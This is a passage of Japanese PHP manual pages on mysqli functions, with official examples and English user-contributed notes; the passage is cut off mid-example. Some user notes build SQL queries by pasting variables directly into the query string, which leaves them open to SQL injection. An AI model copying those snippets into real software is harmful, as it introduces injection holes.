hwalker1 at btopenworld dot com 02-Jan-2014 11:52
Note that in the second example, if the database "world" does not exist, the database selected does not change. You may need to add additional code to ensure that you are connected to the correct database.
pjasiulewicz at gmail dot com 27-Mar-2011 02:30
In some situations its useful to use this function for changing databases in general. We've tested it in production environment and it seams to be faster with switching databases than creating new connections.


クライアントのデフォルト文字セットを設定する

  • ≪ mysqli::select_db
  • mysqli::$sqlstate ≫
  • PHP Manual
  • mysqli
  • クライアントのデフォルト文字セットを設定する

mysqli::set_charset

mysqli_set_charset

(PHP 5 >= 5.0.5, PHP 7)

mysqli::set_charset -- mysqli_set_charset — クライアントのデフォルト文字セットを設定する

説明

オブジェクト指向型

public mysqli::set_charset ( string $charset ) : bool

手続き型

mysqli_set_charset ( mysqli $link , string $charset ) : bool

データベースサーバーとのデータの送受信に使用する、 デフォルトの文字セットを設定します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

charset

デフォルトとして設定する文字セット。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

Windows プラットフォームでこの関数を使用するには、MySQL クライアント ライブラリのバージョン 4.1.11 以降（MySQL 5.0 の場合は 5.0.6 以降） が必要です。

注意:

文字セットを変更するにはこの方法を使うことを推奨します。 mysqli_query() で (SET NAMES utf8 などとして) 設定する方法はお勧めできません。詳細は MySQL の文字セットの概念 を参照ください。

例

例1 mysqli::set_charset() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("Initial character set: %s\n", $mysqli->character_set_name());

/* 文字セットを utf8mb4 に変更します */
if (!$mysqli->set_charset("utf8mb4")) {
    printf("Error loading character set utf8mb4: %s\n", $mysqli->error);
    exit();
} else {
    printf("Current character set: %s\n", $mysqli->character_set_name());
}

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("Initial character set: %s\n", mysqli_character_set_name($link));

/* 文字セットを utf8mb4 に変更します */
if (!mysqli_set_charset($link, "utf8mb4")) {
    printf("Error loading character set utf8mb4: %s\n", mysqli_error($link));
    exit();
} else {
    printf("Current character set: %s\n", mysqli_character_set_name($link));
}

mysqli_close($link);
?>

上の例の出力は、 たとえば以下のようになります。

Initial character set: latin1
Current character set: utf8mb4

参考

  • mysqli_character_set_name() - データベース接続のデフォルトの文字コードセットを返す
  • mysqli_real_escape_string() - 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする
  • MySQL 文字セットのコンセプト
  • » MySQL がサポートする文字セットの一覧

User Contributed Notes

ASchmidt at Anamera dot net 19-Jun-2018 10:54
To align both the character set (e.g., utf8mb4) AND the collation sequence with the schema (database) settings:

<?php
$mysqli = new mysqli( DB_HOST, DB_USER, DB_PASSWORD, DB_SCHEMA, DB_PORT );
if ( 0 !== $mysqli->connect_errno )
    throw new \Exception( $mysqli->connect_error, $mysqli->connect_errno );

if ( TRUE !== $mysqli->set_charset( 'utf8mb4' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );

if ( TRUE !== $mysqli->query( 'SET collation_connection = @@collation_database;' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );
?>

To confirm:

<?php
echo 'character_set_name: ', $mysqli->character_set_name(), '<br />', PHP_EOL;
foreach( $mysqli->query( "SHOW VARIABLES LIKE '%_connection';" )->fetch_all() as $setting )
    echo $setting[0], ': ', $setting[1], '<br />', PHP_EOL;
?>

will output something like:
character_set_name: utf8mb4
character_set_connection: utf8mb4
collation_connection: utf8mb4_unicode_520_ci
chris at ocproducts dot com 03-Jan-2018 07:30
Note that using utf8mb4 with this function may cause this function to return false, depending on the MySQL client library compiled into PHP. If the client library is older than the introduction of utf8mb4, then PHP's call of the libraries 'mysql_set_character_set' will return an error because it won't recognise that character set.

The only way you will know there's an error is by checking the return value, because PHP warnings are not emitted by this function.
mysqli_error will return something like:
"Can't initialize character set utf8mb4 (path: /usr/share/mysql/charsets/)"
(I don't think the directory has anything to do with it; I think the utf8mb4 vs utf8 distinction is handled internally)

A workaround is to recall with utf8, then do a 'SET NAMES' query with utf8mb4.

If your MySQL server is configured to use utf8 by default, then you may not notice any of this until you get obscure bugs. It seems it will still save into the database correctly in terms of bytes. However, you may get "Data too long for column" errors if you are truncating strings to fit fields, because from MySQL's point of view during the length check every 4-byte character will actually be multiple individual characters. This caused me hours of debugging.
robertoeyzaguirre at hotmail dot com 20-Oct-2017 03:01
self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName.";"." charset=utf8", self::$dbUsername, self::$dbUserPassword);
Konstantin Rozinov 18-Sep-2017 02:20
The comment by Claude (http://php.net/manual/en/mysqli.set-charset.php#121067) is CORRECT.

Setting the charset (it's really the encoding) like this after setting up your connection:
$connection->set_charset("utf8mb4")

FAILS to set the proper collation for the connection:

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_general_ci <---- still says general
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

If you use SET NAMES, that works:
$connection->query("SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci");

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_unicode_ci <-- now says unicode
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

Please note, that I set the following variables on the server:

Set the following to be: utf8mb4_unicode_ci

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server

collation_connection
collation_server

Set:

character-set-client-handshake = FALSE or 0
skip-character-set-client-handshake = TRUE or 1
claude dot pache at gmail dot com 11-May-2017 08:01
Although the documentation says that using that function is preferred than using SET NAMES, it is not sufficient in case you use a collation different from the default one:

<?php
// That will reset collation_connection to latin1_swedish_ci
// (the default collation for latin1):
$mysqli->set_charset('latin1');

// You have to execute the following statement *after* mysqli::set_charset()
// in order to get the desired value for collation_connection:
$mysqli->query("SET NAMES latin1 COLLATE latin1_german1_ci");
Emmanuel Appiah 20-Mar-2016 05:46
So in my case, I had tried changing the collation from utf8mb4_unicode_ci for mysql and had to change it to uft8_general_ci.

Then pasted :

mysqli_set_charset( $con, 'utf8');

right before I did the SELECT command.

This is my code for reading from db :

/*

$DB_SERVER="db_server_name";
$DB_USER_READER="root";
$DB_PASS_READER="passw*rd";
$DB_NAME="db_name";
$DB_PORT="port number";

$SELECT_WHAT="`name_of_column_as_in_your_table`";
$WHICH_TBL="`table_name`";
$ON_WHAT_CONDITION="`id`='7'";

*/

$con = mysqli_connect($DB_SERVER, $DB_USER_READER, $DB_PASS_READER, $DB_NAME, $DB_PORT);//this is the unique connection for the selection

    mysqli_set_charset( $con, 'utf8');

        $slct_stmnt = "SELECT ".$SELECT_WHAT." FROM ".$WHICH_TBL." WHERE ".$ON_WHAT_CONDITION;

    $slct_query = mysqli_query($con, $slct_stmnt);

        if ($slct_query==true) {
//Do your stuff here . . .
}

And it worked like a charm. All the best. The above code can work with reading chineese, russian or arabic or any international language from the database's table column holding such data.
coder at punkass dot com 12-Apr-2006 11:13
On windows, with "stock" PHP 5.1.2, there is no set_charset function at all. One may have to replace php_mysqli.dll, and libmysql.dll with proper versions, which provided by MySQL at http://dev.mysql.com/downloads/connector/php/


直前の MySQL の操作での SQLSTATE エラーを返す

  • ≪ mysqli::set_charset
  • mysqli::ssl_set ≫
  • PHP Manual
  • mysqli
  • 直前の MySQL の操作での SQLSTATE エラーを返す

mysqli::$sqlstate

mysqli_sqlstate

(PHP 5, PHP 7)

mysqli::$sqlstate -- mysqli_sqlstate — 直前の MySQL の操作での SQLSTATE エラーを返す

説明

オブジェクト指向型

string $mysqli->sqlstate;

手続き型

mysqli_sqlstate ( mysqli $link ) : string

直近のエラーについて、SQLSTATE エラーコードを含む文字列を返します。 エラーコードは 5 つの文字で構成されています。'00000' はエラーが発生しなかったことを意味します。この値は、ANSI SQL および ODBC で定義されています。とりうる値の一覧は » http://dev.mysql.com/doc/mysql/en/error-handling.html を参照ください。

注意:

すべての MySQL エラーが SQLSTATE に対応しているわけではないことに 注意してください。そのようなエラーが発生した場合は、 HY000（一般的なエラー）が返されます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

直前のエラーに関する SQLSTATE エラーコードを含む文字列を返します。 エラーコードは 5 文字で構成され、'00000' はエラーが発生しなかったことを意味します。

例

例1 $mysqli->sqlstate の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* City テーブルはすでに存在します。そのためエラーとなります */
if (!$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", $mysqli->sqlstate);
}

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* City テーブルはすでに存在します。そのためエラーとなります */
if (!mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", mysqli_sqlstate($link));
}

mysqli_close($link);
?>

上の例の出力は以下となります。

Error - SQLSTATE 42S01.

参考

  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す

User Contributed Notes

There are no user contributed notes for this page.


SSL を使用したセキュアな接続を確立する

  • ≪ mysqli::$sqlstate
  • mysqli::stat ≫
  • PHP Manual
  • mysqli
  • SSL を使用したセキュアな接続を確立する

mysqli::ssl_set

mysqli_ssl_set

(PHP 5, PHP 7)

mysqli::ssl_set -- mysqli_ssl_set — SSL を使用したセキュアな接続を確立する

説明

オブジェクト指向型

public mysqli::ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher ) : bool

手続き型

mysqli_ssl_set ( mysqli $link , string $key , string $cert , string $ca , string $capath , string $cipher ) : bool

SSL を使用してセキュアな接続を確立します。 mysqli_real_connect() より前にコールする必要があります。この関数は、 OpenSSL サポートが有効になっていない場合は何もしません。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

key

鍵ファイルへのパス。

cert

証明書ファイルへのパス。

ca

CA ファイルへのパス。

capath

信頼された SSL CA 証明書が PEM フォーマットで格納されているディレクトリへのパス。

cipher

SSL の暗号化に使用可能な暗号形式の一覧。

返り値

この関数は、常に true を返します。もし SSL が正しく設定できていない場合、 mysqli_real_connect() は接続時にエラーを返します。

参考

  • mysqli_options() - オプションを設定する
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする

User Contributed Notes

Mike 27-Apr-2020 05:16
You no longer need to specify the key - ca or cert to establish a secure connection to MySQL 5.7.3 you can just set ssl
quackfish at gmail dot com 13-Apr-2015 09:56
Be warned, MySQL prior to versions 5.7.3 do not require the server to use SSL [1]. In the case of PHP the client won't throw an error if the connection is downgraded to plain-text [2]

[1] https://dev.mysql.com/doc/refman/5.7/en/encrypted-connection-options.html#option_general_ssl
[2] http://www.idontplaydarts.com/2015/03/mysql-with-ssl-does-not-protect-against-active-mitm/


現在のシステム状態を取得する

  • ≪ mysqli::ssl_set
  • mysqli::stmt_init ≫
  • PHP Manual
  • mysqli
  • 現在のシステム状態を取得する

mysqli::stat

mysqli_stat

(PHP 5, PHP 7)

mysqli::stat -- mysqli_stat — 現在のシステム状態を取得する

説明

オブジェクト指向型

public mysqli::stat ( ) : string

手続き型

mysqli_stat ( mysqli $link ) : string

mysqli_stat() は、'mysqladmin status' コマンドが 返すのと同じ情報を返します。この中には、起動からの秒数・起動中の スレッドの数・リロード数および開かれているテーブルなどが含まれます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

サーバーの状態を示す文字列を返します。エラー時には false を返します。

例

例1 mysqli::stat() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("System status: %s\n", $mysqli->stat());

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("System status: %s\n", mysqli_stat($link));

mysqli_close($link);
?>

上の例の出力は以下となります。

System status: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

参考

  • mysqli_get_server_info() - MySQL サーバーのバージョンを返す

User Contributed Notes

amosjohlong at hotmail dot com 24-Nov-2016 10:13
Here is an explanation of the values that appear in connection->stat() returned string. It was taken from Ai Hua's April 29, 2006 answer on http://forums.mysql.com/read.php?12,86570,86570.

Uptime--The number of seconds the MySQL server has been running.

Threads--The number of active threads (clients).

Questions--The number of questions (queries) from clients since the server was started.

Slow queries--The number of queries that have taken more than long_query_time seconds.

Opens--The number of tables the server has opened.

Flush tables--The number of flush-*, refresh, and reload commands the server has executed.

Open tables--The number of tables that currently are open.

Queries per second avg--Questions divided by Uptime


ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す

  • ≪ mysqli::stat
  • mysqli::store_result ≫
  • PHP Manual
  • mysqli
  • ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す

mysqli::stmt_init

mysqli_stmt_init

(PHP 5, PHP 7)

mysqli::stmt_init -- mysqli_stmt_init — ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す

説明

オブジェクト指向型

public mysqli::stmt_init ( ) : mysqli_stmt

手続き型

mysqli_stmt_init ( mysqli $link ) : mysqli_stmt

mysqli_stmt_prepare() で使用可能な ステートメントオブジェクトを割り当て、初期化します。

注意:

mysqli_stmt_prepare() がコールされるまで、 これ以降のあらゆる mysqli_stmt 関数のコールは失敗します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

オブジェクトを返します。

参考

  • mysqli_stmt_prepare() - SQL ステートメントを実行するために準備する

User Contributed Notes

Jeff C 31-Aug-2016 09:32
stmt_init() seems to clear previous (possibly erroneous) results on the DB connection, which means you don't necessarily need to use it but it could make the code more robust.

In a PHPUnit test, I had a sequence of prepared queries on the same connection. One of them fetched a row from a SELECT but didn't keep fetching until it drained the connection, so it left some stale results. When the next query did this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->prepare ($query);
?>

the prepare() call generated an error: "Could not prepare query: Commands out of sync; you can't run this command now." Changing to this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->stmt_init();
$preparedQuery->prepare ($query);
?>

resolved the problem.
Deepak Sati 06-Jun-2015 11:56
If your sql query has some errors and you don't use stmt_init() before preparing the statement, you won't get error message for wrong sql query.
mamdo7 at hotmail dot com 07-Jun-2014 11:58
you can use $stmt = $mysqli->prepare(); directly without stmt-init() . i think there is no need for stmt-init .


直近のクエリから結果セットを転送する

  • ≪ mysqli::stmt_init
  • mysqli::$thread_id ≫
  • PHP Manual
  • mysqli
  • 直近のクエリから結果セットを転送する

mysqli::store_result

mysqli_store_result

(PHP 5, PHP 7)

mysqli::store_result -- mysqli_store_result — 直近のクエリから結果セットを転送する

説明

オブジェクト指向型

public mysqli::store_result ( int $option = ? ) : mysqli_result

手続き型

mysqli_store_result ( mysqli $link , int $option = ? ) : mysqli_result

mysqli_data_seek() で使用される、 link で表されたデータベース接続の直近のクエリ から結果セットを転送します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

option

指定したいオプション。以下のいずれかの値を指定します。

有効なオプション
名前 | 説明
MYSQLI_STORE_RESULT_COPY_DATA | 結果を、内部の mysqlnd バッファーから PHP の変数にコピーします。 デフォルトでは、mysqlnd は参照を利用しており、メモリ内の結果をコピーしたり複製したりしないようにしています。 ある種の結果セット (短めの行を大量に保持する結果セットなど) の場合は、 コピーしたほうが、全体的なメモリ使用量を抑えることができます。 結果を保持する PHP の変数のほうが、解放されるのが早いからです。 これは mysqlnd でのみ利用可能です。

返り値

バッファに格納した結果オブジェクトを返します。エラー時には false を返します。

注意:

mysqli_store_result() は、クエリが結果セットを 返さなかった場合（例えば、クエリが INSERT 文であった場合）に false を返します。また、結果セットの読み込みに失敗した場合にも false を返します。エラーが発生したかどうかを調べるには、 mysqli_error() が空文字列以外を返す・ mysqli_errno() がゼロ以外の値を返す・あるいは mysqli_field_count() がゼロ以外の値を返す のいずれかを確認します。それ以外にこの関数が false を返す理由としては mysqli_query() のコールに成功して返された 結果セットが大きすぎる（メモリに割り当てられない）場合がありえます。 もし mysqli_field_count() がゼロ以外の値を 返した場合、文は空でない結果セットを生成しています。

注意

注意:

クエリ結果が使用するメモリを mysqli_free_result() 関数で開放するのは、どんな場合でも大切です。しかし、大きい結果セットを mysqli_store_result() で転送した際は、特にこれが 重要となります。

例

mysqli_multi_query() を参照ください。

参考

  • mysqli_real_query() - SQL クエリを実行する
  • mysqli_use_result() - 結果セットの取得を開始する

User Contributed Notes

filippo at ecoms dot it 18-Feb-2018 06:49
Code to handling errors:

if ($mysqli->multi_query($query)) {
    $result = $mysqli->store_result();
    if ($mysqli->errno == 0) {

        /* First result set or FALSE (if the query didn't return a result set) is stored in $result */

        while ($mysqli->more_results()) {
            if ($mysqli->next_result()) {
                $result = $mysqli->store_result();
                if ($mysqli->errno == 0) {
                    /* The result set or FALSE (see above) is stored in $result */
                }
                else {
                    /* Result set read error */
                    break;
                }
            }
            else {
                /* Error in the query */
            }
        }
    }
    else {
        /* First result set read error */
    }
}
else {
    /* Error in the first query */
}
Tex Morgan 06-Jul-2013 10:45
There's a simpler way to clear out database stored procedure problems:

class MySQLiQuery {
     protected $_resultSet;
     protected $databaseConnection;
....

    protected function free(){
        $this->_resultSet->free();
        $this->_resultSet=null;
    }

    protected function checkMoreResults(){
        if($this->databaseConnection->more_results()){
            return true;
        } else {
            return false;
        }
    }

    protected function clearResults(){
        if($this->checkMoreResults()){
            if($this->databaseConnection->next_result()){
                if($this->_resultSet=$this->databaseConnection->store_result()){
                    $this->free();
                }
                $this->clearResults(); // <----------- recursive call is your friend
            }
        }
    }
.......
}
mitchind 04-Feb-2010 08:28
After reading through original notes and example above as well as wading through the documentation, I finally got a loop to work with two stored procedures.

Using the results of the first one as a parameter for the second one. Easier to do this way than a huge modified sequence of Inner Join queries.

Hope this helps others...

<?php
// Connect to server and database
$mysqli        = new mysqli("$dbServer", "$dbUser", "$dbPass", "$dbName");

// Open First Stored Procedure using MYSQLI_STORE_RESULT to retain for looping
$resultPicks = $mysqli->query("CALL $proc ($searchDate, $maxRSI, $incRSI, $minMACD, $minVol, $minTrades, $minClose, $maxClose)", MYSQLI_STORE_RESULT);

// process one row at a time from first SP
while($picksRow = $resultPicks->fetch_array(MYSQLI_ASSOC)) {
    // Get Parameter for next SP
    $symbol     = $picksRow['Symbol'];

    // Free stored results
    clearStoredResults($mysqli);

    // Execute second SP using value from first as a parameter (MYSQLI_USE_RESULT and free result right away)
    $resultData    = $mysqli->query("CALL prcGetLastMACDDatesBelowZero('$symbol', $searchDate)", MYSQLI_USE_RESULT);
    $dataRow    = $resultData->fetch_array(MYSQLI_ASSOC);

    // Dump result from both related queries
    echo "<p>$symbol ... Num Dates: " . $dataRow['NumDates'];

    // Free results from second SP
    $resultData->free();

}

// Free results from first SP
$resultPicks->free();

// close connections
$mysqli->close();

#------------------------------------------
function clearStoredResults($mysqli_link){
#------------------------------------------
    while($mysqli_link->next_result()){
      if($l_result = $mysqli_link->store_result()){
              $l_result->free();
      }
    }
}
?>
Warner 21-Jul-2009 02:45
It also seems, that executing a SET statement in multi_query() returns an extra recordset too, which one would not expect.
lau at goldenweb dot com dot au 13-Apr-2007 01:29
Beware when using stored procedures:
If you connect to the database and then call dbproc A followed by a call to db proc B and then close the connection to the db, the second procedure call will not work.

It looks like there is a bug in MYSQL or mysqli that returns an extra recordset than you would expect. It then doesn't let you call another stored procedure until you finish processing all the recordsets from the first stored procedure call.

The solution is to simply loop through the additional recordsets between calls to db procs. Here is a function that I call between db proc calls:

<?php
#--------------------------------
function ClearRecordsets($p_Result){
#--------------------------------
    $p_Result->free();
    while($this->Mysqli->next_result()){
      if($l_result = $this->Mysqli->store_result()){
              $l_result->free();
      }
    }
}

?>


現在の接続のスレッド ID を返す

  • ≪ mysqli::store_result
  • mysqli::thread_safe ≫
  • PHP Manual
  • mysqli
  • 現在の接続のスレッド ID を返す

mysqli::$thread_id

mysqli_thread_id

(PHP 5, PHP 7)

mysqli::$thread_id -- mysqli_thread_id — 現在の接続のスレッド ID を返す

説明

オブジェクト指向型

int $mysqli->thread_id;

手続き型

mysqli_thread_id ( mysqli $link ) : int

mysqli_thread_id() 関数は、現在の接続の スレッド ID を返します。この ID を使用すると、mysqli_kill() 関数でセッションを切断することが可能です。接続が切断し mysqli_ping() で再接続した場合は、スレッド ID は別のものになります。そのため、必要になったそのときにスレッド ID を取得するべきです。

注意:

スレッド ID は接続単位で割り当てられます。そのため、もし いったん切断した接続が再度確立された場合、新しいスレッド ID が割り当てられます。

実行中のクエリを停止するには、SQL コマンド KILL QUERY processid を使用します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

現在の接続のスレッド ID を返します。

例

例1 $mysqli->thread_id の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* スレッド ID を取得します */
$thread_id = $mysqli->thread_id;

/* 接続を切断します */
$mysqli->kill($thread_id);

/* これはエラーとなります */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* スレッド ID を取得します */
$thread_id = mysqli_thread_id($link);

/* 接続を切断します */
mysqli_kill($link, $thread_id);

/* これはエラーとなります */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error: MySQL server has gone away

参考

  • mysqli_kill() - サーバーに MySQL スレッドの停止を問い合わせる

User Contributed Notes

There are no user contributed notes for this page.


スレッドセーフであるかどうかを返す

  • ≪ mysqli::$thread_id
  • mysqli::use_result ≫
  • PHP Manual
  • mysqli
  • スレッドセーフであるかどうかを返す

mysqli::thread_safe

mysqli_thread_safe

(PHP 5, PHP 7)

mysqli::thread_safe -- mysqli_thread_safe — スレッドセーフであるかどうかを返す

説明

オブジェクト指向型

public mysqli::thread_safe ( ) : void

手続き型

mysqli_thread_safe ( ) : bool

クライアントライブラリがスレッドセーフでコンパイルされているかどうかを返します。

返り値

クライアントライブラリがスレッドセーフの場合に true、 そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


結果セットの取得を開始する

  • ≪ mysqli::thread_safe
  • mysqli::$warning_count ≫
  • PHP Manual
  • mysqli
  • 結果セットの取得を開始する

mysqli::use_result

mysqli_use_result

(PHP 5, PHP 7)

mysqli::use_result -- mysqli_use_result — 結果セットの取得を開始する

説明

オブジェクト指向型

public mysqli::use_result ( ) : mysqli_result

手続き型

mysqli_use_result ( mysqli $link ) : mysqli_result

データベース接続上で mysqli_real_query() 関数を使用して実行した直近のクエリから、結果セットの取得を開始します。

この関数あるいは mysqli_store_result() 関数は、 クエリ結果を取得する前にコールされる必要があります。また、どちらかの 関数をコールしなければ、データベース接続上の次のクエリは失敗します。

注意:

mysqli_use_result() は、データベースから結果セットの 全体を転送するわけではありません。そのため、セット内の行を移動するために mysqli_data_seek() を使用することはできません。 この機能を使用するには、mysqli_store_result() を使用して結果をバッファに取得する必要があります。クライアント側で 大量の処理を行う際は、mysqli_use_result() を 使用すべきではありません。なぜなら、この関数はサーバーとの接続を保持 し続け、取得しているデータに関連するテーブルについて、他のスレッドから 更新ができなくなるからです。

返り値

バッファに取得しないで結果オブジェクトを返します。 エラー時には false を返します。

例

例1 mysqli::use_result() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* 複数のクエリを実行します */
if ($mysqli->multi_query($query)) {
    do {
        /* 最初の結果セットを取得します */
        if ($result = $mysqli->use_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->close();
        }
        /* 区切り線を表示します */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* 複数のクエリを実行します */
if (mysqli_multi_query($link, $query)) {
    do {
        /* 最初の結果セットを取得します */
        if ($result = mysqli_use_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* 区切り線を表示します */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

参考

  • mysqli_real_query() - SQL クエリを実行する
  • mysqli_store_result() - 直近のクエリから結果セットを転送する

User Contributed Notes

Alex Simes 07-Apr-2016 07:47
You should get a PHP Strict Standards message if you don't check whether to call next_result() in the do-while clause. Just add a second condition to the do-while clause to solve this.

<?php
if ($conn->multi_query($sql)) {
    do {
        if ($result = $conn->use_result()) {
            while ($row = $result->fetch_row()) {
              //do stuff with $row
            }
            $result->close();
        }
    } while ($conn->more_results() && $conn->next_result());
}
?>
Anonymous 14-Sep-2012 05:30
> One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Another way of understanding the "blocking" behavior of this "use_result" method is that by using this method (or the MYSQLI_USE_RESULT flag on the "query" method), if attempting to run a second query of any kind - updates, inserts, selects, or other - while still working with these first results, the second query will fail.  Checking mysqli->error, you should get a "Commands out of sync" error on the second query call.

However, if you use the "store_result" method (or the default MYSQLI_STORE_RESULT flag on the "query" method) instead, the second query will execute just fine.

Just to demonstrate this "blocking" behavior of this "use_result" method, the second query on line 7 below would otherwise fail if you instead used "use_result" on line 3:

<?php
$mysqli->real_query('SELECT * FROM `test`');
$query = $mysqli->store_result();
while ($row = $query->fetch_assoc()) {
    $id = (int) $row['id'];
    $query2 = $mysqli->query("UPDATE `test` SET `label` = md5(rand()) WHERE `id` = $id");
}
?>


指定した接続の直近のクエリから発生した警告の数を返す

  • ≪ mysqli::use_result
  • mysqli_stmt ≫
  • PHP Manual
  • mysqli
  • 指定した接続の直近のクエリから発生した警告の数を返す

mysqli::$warning_count

mysqli_warning_count

(PHP 5, PHP 7)

mysqli::$warning_count -- mysqli_warning_count — 指定した接続の直近のクエリから発生した警告の数を返す

説明

オブジェクト指向型

int $mysqli->warning_count;

手続き型

mysqli_warning_count ( mysqli $link ) : int

この接続の直近のクエリについて、発生した警告の数を返します。

注意:

警告の内容を取得するには、SQL コマンド SHOW WARNINGS [limit row_count] を使用します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

警告の数を返します。警告がなかった場合はゼロを返します。

例

例1 $mysqli->warning_count の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* ウェールズの珍しい地名です */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
    if ($result = $mysqli->query("SHOW WARNINGS")) {
        $row = $result->fetch_row();
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        $result->close();
    }
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
